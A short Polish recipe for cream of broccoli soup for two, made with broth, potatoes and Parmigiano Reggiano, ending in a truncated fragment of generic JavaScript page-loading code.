Krem z brokułów

Krem z brokułów

Przepis na : obiad

Składniki – porcja dla dwóch osób: 2 – 3 szklanki bulionu, 1 brokuł, 2 ziemniaki, sól, pieprz do smaku, 4 łyżki startego sera parmigiano reggiano. Krok 1 Brokuł dzielimy na mniejsze różyczki, ziemniaki obieramy i kroimy w kostkę. Warzywa gotujemy w bulionie do miękkości – około 15 – 20 minut. Krok 2 Zupę miksujemy blenderem na gładką masę. Doprawiamy solą i pieprzem do smaku, zagęszczamy startym serem. Smacznego function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = ...